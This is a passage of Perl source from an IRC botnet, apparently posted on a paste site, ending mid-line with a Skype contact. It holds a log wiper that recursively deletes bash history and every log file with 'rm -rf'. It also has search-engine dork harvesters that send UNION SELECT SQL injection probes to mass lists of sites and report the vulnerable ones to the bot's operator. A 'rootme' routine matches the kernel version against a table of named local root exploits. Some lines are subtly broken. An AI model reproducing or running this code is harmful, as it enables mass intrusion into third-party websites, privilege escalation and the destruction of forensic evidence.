  570. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  571.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  572.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  573.    system 'find / -name "log*" -exec rm -rf {} \;';
  574.    system 'find / -name *.log -exec rm -rf {} \;';
  575.       sleep 1;
  576. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  577.       }
  578. ######################
  579. # End of Log Cleaner #  
  580. ######################
  581. ######################
  582. #              SQL SCANNER              #
  583. ######################
  584.  
  585. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  586.    if (my $pid = fork) {
  587.       waitpid($pid, 0);
  588.    } else {
  589.       if (my $d=fork()) {
  590.          addproc($d,"[SQL2] $2");
  591.          exit;
  592.       } else {
  593.            
  594.          my $bug=$1;
  595.          my $dork=$2;
  596.          my $contatore=0;
  597.          my ($type,$space);
  598.          my %hosts;
  599.          my $columns=$3;
  600.            
  601.                         ### Start Message
  602.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  603.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  604.                         ### End of Start Message
  605.             # Starting Google
  606.             my @glist=&google($dork);
  607.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  608.                         my @mlist=&msn($dork);
  609.                         my @asklist=&ask($dork);
  610.                         my @allist=&alltheweb($dork);
  611.                         my @aollist=&aol($dork);
  612.                         my @lycos=&lycos($dork);
  613.                         my @ylist=&yahoo($dork);
  614.                         my @mzlist=&mozbot($dork);
  615.                         my @mamalist&mamma($dork);
  616.                         my @hlist=&hotbot($dork);
  617.                         my @altlist=&altavista($dork);
  618.                         my @slist=&search($dork);
  619.                         my @ulist=&uol($dork);
  620.                         my @fireball=&fireball($dork);    
  621.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  622.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  623.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  624.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  625.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  626.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  627.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  628.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  629.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  630.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  631.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  632.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  633.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  634.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  635.              
  636.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  637.              
  638.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  639.             my @puliti=&unici(@tot);
  640.              
  641.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  642.            
  643.             my $uni=scalar(@puliti);
  644.                    
  645.                   foreach my $sito (@puliti) {
  646.                
  647.                   $contatore++;
  648.                     if ($contatore %5==0){
  649.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  650.                     }
  651.                   sleep 3;
  652.                     if ($contatore==$uni-1){
  653.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  654.                     }    
  655.                   sleep 3;
  656.                     my $site="http://".$sito.$bug;
  657.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  658.            
  659.          $w=int rand(999);    
  660.          $w=$w*1000;
  661.          for($i=1;$i<=$columns;$i++) {
  662.             splice(@col,0,$#col+1);
  663.             for($j=1;$j<=$i;$j++) {
  664.                push(@col,$w+$j);
  665.             }    
  666.             $tmp=join(",",@col);
  667.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  668.             print $test."\n";
  669.             $result=get_html($test);
  670.             $result =~ s/\/\*\*\///g;
  671.             $result =~ s/UNION([^(\*)]*)//g;
  672.             for($k=1;$k<=$i;$k++) {
  673.                $n=$w+$k;
  674.                   if($result =~ /$n/){
  675.                      splice(@col2,0,$#col2+1);
  676.                         for($s=1;$s<=$i;$s++) {
  677.                            push(@col2,$s);  
  678.                         }
  679.                      $tmp2=join(",",@col2);
  680.                      $test2="+UNION+SELECT+".$tmp2."/*";
  681.                      push @{$dane{$test2}},$k;
  682.                   }  
  683.             }
  684.          }
  685.          for $klucz (keys %dane) {
  686.             foreach $i(@{$dane{$klucz}}) {
  687.                $klucz =~ s/$i/$i/;
  688.             }
  689.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  690.          }
  691.          %dane=();      
  692.             }
  693.       }
  694.    delproc($$);
  695.    exit;
  696.    }
  697. }
  698. #######  SQL SCANNER  #########
  699.  
  700. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  701. if (my $pid = fork) {
  702. waitpid($pid, 0);
  703. } else {
  704. if (my $d=fork()) {
  705. addproc($d,"[String] $2");
  706. exit;
  707. } else {
  708.       $kto = $1;
  709.       $host = $2;
  710.       $skrypt = $3;
  711.       $czekac=$4;
  712.        
  713.       #http://ttl.ugu.pl/string/index.php
  714.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  715.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  716.        
  717.       my @r = <$socke>;
  718.       $page="@r";
  719.      
  720.       $page =~ s/!scan(\s+)//g;
  721.       $page =~ s/!scan(.)//g;
  722.       $page =~ s/\<.*\>//g;
  723.        
  724.       @lines = split (/\n/, $page);
  725.       $ile=scalar(@lines);
  726.              
  727.        
  728.       for($i=9;$i<=$ile;$i+=4) {
  729.  
  730.          for($j=0;$j<4;$j++) {
  731.             #print $lines[$i+$j]."\n";
  732.              
  733.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  734.              
  735.             sleep 10;
  736.          }
  737.            
  738.          sleep $czekac*60;
  739.       }
  740.  
  741.    }
  742.       delproc($$);
  743.       exit;
  744.    }
  745. }
  746.  
  747.  
  748.  
  749.  
  750.  
  751. #######  SQL SCANNER  #########
  752.  
  753. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  754.    if (my $pid = fork()) {
  755.       waitpid($pid, 0);
  756.    } else {
  757.       if (my $d=fork()) {
  758.          addproc($d,"[SQL1] $1 $2");
  759.          exit;
  760.       } else {
  761.          my $site=$1;
  762.          my $columns=$2;
  763.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  764.            
  765.          $w=int rand(999);    
  766.          $w=$w*1000;
  767.          for($i=1;$i<=$columns;$i++) {
  768.             splice(@col,0,$#col+1);
  769.             for($j=1;$j<=$i;$j++) {
  770.                push(@col,$w+$j);
  771.             }    
  772.             $tmp=join(",",@col);
  773.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  774.                         #$result=query($test);
  775.             $result=get_html($test);
  776.      
  777.             $result =~ s/\/\*\*\///g;
  778.             $result =~ s/UNION([^(\*)]*)//g;
  779.             for($k=1;$k<=$i;$k++) {
  780.                $n=$w+$k;
  781.                   if($result =~ /$n/){
  782.                      splice(@col2,0,$#col2+1);
  783.                         for($s=1;$s<=$i;$s++) {
  784.                            push(@col2,$s);  
  785.                         }
  786.                      $tmp2=join(",",@col2);
  787.                      $test2="+UNION+SELECT+".$tmp2."/*";
  788.                      push @{$dane{$test2}},$k;
  789.                   }  
  790.             }
  791.          }
  792.          for $klucz (keys %dane) {
  793.             foreach $i(@{$dane{$klucz}}) {
  794.                $klucz =~ s/$i/$i/;
  795.             }
  796.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  797.          }
  798.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  799.       }
  800.    delproc($$);
  801.    exit;
  802.    }
  803. }
  804. #######  SQL SCANNER  #########
  805. ######################
  806. #        Rootable                                     #
  807. ######################
  808. if ($funcarg =~ /^rootable/) {  
  809. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12]::::... Nah tho ");
  810. }
  811. if ($funcarg =~ /^rootme/) {  
  812. my $khost = `uname -r`;
  813. my $currentid = `whoami`;
  814. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  815. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this shell is ".$khost." ");
  816. chomp($khost);
  817.  
  818.    my %h;
  819.    $h{'w00t'} = {  
  820.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']  
  821.    };
  822.      
  823.    $h{'brk'} = {
  824.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']  
  825.    };
  826.      
  827.    $h{'ave'} = {
  828.       vuln=>['2.4.19','2.4.20']  
  829.    };
  830.      
  831.    $h{'elflbl'} = {
  832.       vuln=>['2.4.29']  
  833.    };
  834.      
  835.    $h{'elfdump'} = {
  836.       vuln=>['2.4.27']
  837.    };
  838.      
  839.    $h{'expand_stack'} = {
  840.       vuln=>['2.4.29']  
  841.    };
  842.      
  843.    $h{'h00lyshit'} = {
  844.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  845.    };
  846.      
  847.    $h{'kdump'} = {
  848.       vuln=>['2.6.13']  
  849.    };
  850.      
  851.    $h{'km2'} = {
  852.       vuln=>['2.4.18','2.4.22']
  853.    };
  854.      
  855.    $h{'krad'} = {
  856.       vuln=>['2.6.11']
  857.    };
  858.      
  859.    $h{'krad3'} = {
  860.       vuln=>['2.6.11','2.6.9']
  861.    };
  862.      
  863.    $h{'local26'} = {
  864.       vuln=>['2.6.13']
  865.    };
  866.      
  867.    $h{'loko'} = {
  868.       vuln=>['2.4.22','2.4.23','2.4.24']  
  869.    };
  870.      
  871.    $h{'mremap_pte'} = {
  872.       vuln=>['2.4.20','2.2.25','2.4.24']  
  873.    };
  874.      
  875.    $h{'newlocal'} = {
  876.       vuln=>['2.4.17','2.4.19','2.4.18']  
  877.    };
  878.      
  879.    $h{'ong_bak'} = {
  880.       vuln=>['2.4.','2.6.']  
  881.    };
  882.      
  883.    $h{'ptrace'
  884.  
  885.  
  886.  
  887. skype: live:zepek_al
Advertisement
Add Comment
Please, Sign In to add comment